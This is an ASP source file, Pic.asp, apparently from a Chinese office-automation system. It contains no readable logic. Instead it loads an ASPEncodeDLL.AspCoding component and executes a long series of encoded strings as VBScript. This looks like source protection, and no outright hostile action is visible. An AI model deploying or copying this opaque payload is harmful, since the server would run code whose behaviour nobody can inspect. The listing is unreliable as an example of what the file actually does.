OA系统

开发平台：
ASP/ASPX

Pic.asp：源码内容
							<%
On Error Resume Next
Set AspCoding = Server.CreateObject("ASPEncodeDLL.AspCoding")
If Not IsObject(AspCoding) Then Response.Write "<script language='javascript'>document.write(unescape('%3CDIV%20style%3D%27FONT-SIZE%3A%2012px%3B%27%3E%3CH1%3E%3CFONT%20style%3D%27FONT-SIZE%3A16px%3B%20COLOR%3A%23ff3300%27%3E%u64CD%u4F5C%u5BF9%u8C61%u65E0%u6548%20-%20%u9519%u8BEF%20101%3C/FONT%3E%3C/H1%3E%u60A8%u6CA1%u6709%20ASPEncodeDLL.AspCoding%20%u5BF9%u8C61%u7684%u64CD%u4F5C%u6743%u9650%u6216%u8BE5%u5BF9%u8C61%u4E0D%u5B58%u5728%2C%u8BF7%u8054%u7CFB%u670D%u52A1%u5668%u7BA1%u7406%u5458%u3002%3C/DIV%3E'))</script>":Response.End
AspCoding.EnCode("EcphuhVfWfBbTGogfechIiGehcVcHhreVCtgWfhgTI6VxqQs6sqRcRCqyOHhzHuhifsfOhbiBboHiGTGWeefPifi5cxgACFhleyGYf8CFgweDhTHcfxCzgDfZekfEgxHsfGO7hYf4bnijfxi8e4ixiEgTH4H8engSflizHyhlijhviGC2H3hyhZi6eECmhliTHYhnC8cjbjHjI1ITIWICHTGVfbirebe3I4gagkfliZeyCFhTH1ICivf4gAhyi6fagnfAC3IdCEiagjeEgQf3fXiYf3IDIybAb3G3IyCZiwi")
AspCoding.EnCode("3CTHehICoiICPgIfPipiPgUcgdCHFdkhaixivh5c7fngkhBG1IAgFhH9vimh7exgYf3CFh2b1GFhThDC4iGhYcDfYfG9ACzHni6fFi4H4bveAh4iZhEd2b6faiACYfzG5flhFi3GGeoHhbHhRfcftiVCRgtg2HviZixiXiAi5hYh4iTHCh5h7CZiui3h7fxhAfDf5cmhEe4ixiACTHyixi3hkhvf5fvh1GYgkeAhFcOekiUcVbiGodDgvfzgmgag8hwdFCngEgEhFCahuf5haf8fmh5cGh2H4ezGEe3fviAi")
AspCoding.EnCode("4inIZdnb3GwGXfwd8g4ekh8fYfzd1IwH3GvH4gaHFfYCkh8fmhac4Hzc3Gac3ixIFf3fzeFgYfac4HnbYcmb4iwdFf5hkhAiZezd2bzc4HmbXCvcDh3fjgFgngWICHhGEfaijeYeagDgxI5fvikeECmhnHwIHioHgIHhwcRfbgqfVCRgQCUcWIiGGgzHCfbiIfggTIVbhbTGIgoCIi0iXdXfYhgCyiwCag7fFcwingxilCHfXdVbVcEcFhZiXfjgmh1GDgygnhliziGh3GjIkH7d2b4b5ezhAh4C4iAhFc4H")
AspCoding.EnCode("kHYcXd5f4iafvi6f7h4e3haiah5CGh4H7cZd2HXeYfkhvile4eZfnhxhkfmfFcZdlI1IHf5chcVcEcciVhQhCi2Hah5hvC4iFc7hvf3h2HHfhchbTGliEiSd2HhcVcibHhDfZfBbYGzg5elh8iSGEcwcFhYeSd3IoHgICIGgFh4CSdWIgIibodHhnfxhYfafnhFimhDfGe1GpGCHpcpcEcjg3CYhZejeZfSdqRIPCqkpSpkOrRvQTGzHjgYfmf3CahZfBb5coHVchGpcEcEg3fXfzeng2H7ivfnhliyhFcZd")
AspCoding.EnCode("lHkb7bYc1GnCzhEiZfmhFCFc2bkH1I3I4gngafze6f8i4eXeygzgZgTHYckGZd4b5fngviaf6g5h3iZfygkf5CHgZd6c1IGe3IoHCHpcgHGgEgAhBb1GWIWdpcpcodBHFh4C5c6CygZfliziHgYcjdEHZd4bzi4ixhXiwfEgGh3GjIDI2b5cZikhweZgkfEd2b3hZeahFh3CEi2b5cFf3fvizCmfxiTHYczfxhYenhvimhZdBbPQT9hskpePZQuqWrTGaGDfnhBb2HoHVcodCICIBHli3i5c7iainhFhziTH")
AspCoding.EnCode("2bkb8dTcYc4bwfmhvfmfziFhBGYc8cjd4HUcEcohfhqfIf9hfe3Ije5hwiZeFcZinh1GEClg5fHg1IFg7hvC3CjIxIyhACjh4H4bnf7f5hwimhdfke6eYeYfEiFc6c3I6CxhYe8ewfEdAIjGAb5H2HEC4g7fkeafjgvfkf5CGhkfzh5cwf4iweXiziEgTHAHlGTIBHwciffhtichCiICHf4bHhwc8e4CBb5coHhbodpcHhzHEglgTI3IoHiGgHpcTG8elgTI3IoHVchGodibBHEg3i2HxgmhaimfxgDfEd1I")
AspCoding.EnCode("Ddkc1I1GXgafvfXikfHg1I3hmhjeEg3CEiYcXdFf5hwCai5CzgTHYcwiyg3i4Caf3C2bUcWrdqgrkpSV2qLPFVGgxbli3iBb1GWICHodibibTGFhnhXdzimhaimfwfliEd4H8c6HYcHfHhCeWhrithQC4bvf3iEd3f1GDfxhlizeZeTH2bIqVQMQF9TOsRVRwQPr7rWrcLQrPqRqT9pQAWUWfs793rKqUp5WkpGQTrrqWPQrOr7OzpS9VruqDqLQKQFWAo6VIt9qeLQPT9grAWFo4sJRUp1I3IAgFhGOwCng")
AspCoding.EnCode("Hg2bRCohffuhCfSH4b8cAbkHleUe3G2H6iZiviFg3CGh3G3G2HyCXgaemhTH3fXdTIBHaGDfmgHf2HgdhbgHibEczHli6eUc5cWICHgHhGGgDfEiHf4bhchbpcodgHHhFh3i1GaCmhaimfyhACFc2bAHDI1I3IXgafwemfxiBG3G4gngzgDf4i6eZd4bFfXgvivfZgahFc4Hkgvf4CmgwC4i1IGeqRbQpQx9LQ5VVRRqHhaGEg4CUc5cgdCHibodpcFdEgZf5czingai5CwfACGhYc8c8bYcHfGgoh9eRgug")
AspCoding.EnCode("uh5cainhBGmg2HACxhFhzemhGhbsprJqv9OQPQB9lOLQrrSpa9RQMq9Pbqrr0qVsdqpQx96OCQqPhQEWB91G1Gkf5hjhYfTH3iXd3IAgvfI94iFcYc8cAb2bUc2HHhxbAC3iUc4boHhbgHgHEcxb8eEiUcXdoHVcpcibHhDf7fBb1GWIiGibpchGEclinh1GaCngvfZgxgEgGhZdDdDI1I4bYCkhvfYhkfTH2bnimhkf8eZe6e4H5c6iZijgzCYhjeBG4HvCygYenhafYfZdTIQQZPOQIRqQCQtsKqBHxbli")
AspCoding.EnCode("ZfUc1GhcVcCIgHgHTGEgZf5cwfmhaiYhziACTH2bkbkc3GSdHhWiOfqhPCPi4bvfmgHg3g3IDfweDfviZeBGSVDVVREQF9jPMsCqEpdRWrbQiRAWQrRQVR6pvOlVTOA9BVZP7VBQRQtrBpfRRRmqWqcPPRfsurtrXd2H4bECaibOngTHYc8clIYcSd2HFdxbli3iBb5coHgIibhGGgyIFhEiUc4bpGgIgHodHhFh6eBb4bgdVcibpcgHBHli4C2HziYfaimfyh8eGhYckbjd2b2HZiwCvfnekfGhYcXeZekf")
AspCoding.EnCode("Fhmh7f4H5c7CXgjgvfXixiFcYcwixhnh3iafmh2bSdVr3rWqnQuqvpTpfLHhaGli3iSd2HhcVcibibgHBHFhYe3IvemhaineziliGh3GDdDI4HTIGgpgWhsCPCtg3Ixh4CGhnf4bDfUf7h4iGh4HveweYeZf4ixiYc3IACxh8ezeYfEdbRWPKq6pIQLsVRwQVPjQqRHuVQ9sRqbQCqx9EperFo3rtrFVYpkpHP8RtQQrVQPq69xWS9WssQDqJqrrUozO7WeLVQHKVsT9CqkpSV1RJRFV2H1GFfZizeDengHg")
AspCoding.EnCode("1I4H5cjeYCjhYfHg5i2HAgxhI9YfHg4HDdlIZdUc3IpGgIgHgHpcgHGgQgghOhfebgQC5cai4CTH3hSd5cgdgIgHpcpcCIpcFd9fsCuhWipiWh5c6fngkhZe4gEgmh3iUc7WHPsRwpLseqVbiGibibodpcibEc9fQfPiVC9foi2H6i3fkhDemhFcZhzCkhDf4iFCSH5eafEhEimG4eZfnhGhjHyH3izClgng5fliaiyixiFclbDbmc6fFhAh3CxiXiFhwfGhjH6HycBbiPw9crGMsQZ9brGKVbCHgHibhGCI")
AspCoding.EnCode("hGHhpiPePiWiVh9eXd8g3fjgFgngGhXCzCjgEgmhFCFbmfAh3fUfBbcr0q7pMPKPKPpQx9hcVcCIodibhGhGBHoCRgreoh9fOfXd8g3fze8fngTHnfzCkhDfmhEiSH5izeai8i8gHfEpXPSVTpOrKQWqGrVbVcodgHibibpcTGoCqhPiifVhpC5cDh3fjgFgngHgnfweafliZe6eEIYgjgvf8iveSdJqEQsRLrUpUVJql9oHgIgHodCIodpcGgOeRgsfifpiOf3I8g5hkhDengEd5iaiwCDfmhFCGiHOlg3f")
AspCoding.EnCode("H9UcLg5cIsnQrsLqgrx9VbVcgHCIibhGCIGgVhriPiohOeVg2H7C5hkhDemhGhXCaikhliYf7fGizCkf6iYfEiDfBbsPLqQrxW8OSWLQl9FdzHOeQfuhWiOe9eHf4bVbCHgHpcodCIGgzHuibiiibihiuhBb5coHhbXbyCmiFi7hUHXbkfXfFi7hSG5chcWdgHpcpcibHhRfefOhfebgre4baiYeFc4iBb1GgdgIgHCICICIibFdoCRgtgohoCWh2HDh3fafEh4iGh4H3G1G7eYfvi4iniEg3CnhGeiPkpQs")
AspCoding.EnCode("QRpGhbgHgHodCIgHTG9fRgsfifoCWh2HDhZiafAiZeFcvingnfDfGeIRtQurEQVbVcibpcodgHibHhpiPeQCohpiOf4b7CZikh8fngHg4gngkf8eYfEiGecPsRJRtRoHVchGodibgHCIEc9fRguhWi9fVg2H7CXgwCAingBGlgvfmfziDfTIIRrqrqtPGgvdpiriQCifVhpCUcXdWICHpcpcCIpcFdzHtCghiibiIhPiHfWIhbhGCICIHhwclinhGe3IoHWdibibTGxbFhFCUc4bhcCHgHpcFdzHli3fmiaf")
AspCoding.EnCode("mhGe4bhchbodibBHwcXCvfZeafnhFiZe8eHfVbhbgHBHwcACmgTI2HhcVcpcEclinhBb3ckf4hlhDCHiEcxbDfnhHf2HhchbhGEcli4CHfhcVcibibBHifWhPeugre4baiYeFcpivh1GACygDfjgngHgUWxscsSRZVDWSOxqWQzq5p6pDW69oqmpZojoJP2QF9vrT9AVhsUqLPrPDpYs9RkPHqgQPQBOiRkp1GDfBgAfYfEd4h8fFhlijfxi1G6iZijg8fYfBG1I2HU9vQ4bPrzq5cZd2HBbVbVchGodHhmi")
AspCoding.EnCode("7fBbgdVcibgHGg3glgTIoHiGgHpcTG5elgTIWICHpchGFdxhkf6gAiDf3I3hvi3fAg6fEd3glCliEgkezg2HDfH9AfngHg4hEh8eEgxCxi5cxCkfIhwCaimCwgTH4c7iygxi4Cjf6CybnivizhFiYfvIvbSGXI3IDhZiviEhZeHg4HXdOqYW1GPqGKXdYc4bxi3fzf4iEd4Hmi8fliDfzhje2bUcVbWdibBHwcACZfGe2HVbVcTGaGDfAhBb2HoHVcFdyIeg9ftiCiUc5chchbHhwcDf5h4hwC4iUc4boHhb")
AspCoding.EnCode("BHzHgiVhee0iUcgdCHEcwcphuhVfWfBbTGdg7e7hhike3iaiahnewdbgwfXglgAgmhACEdZg3gkb8dlbAHBb")
AspCoding.Run("VBSCRIPT")
Set AspCoding = Nothing
%>

						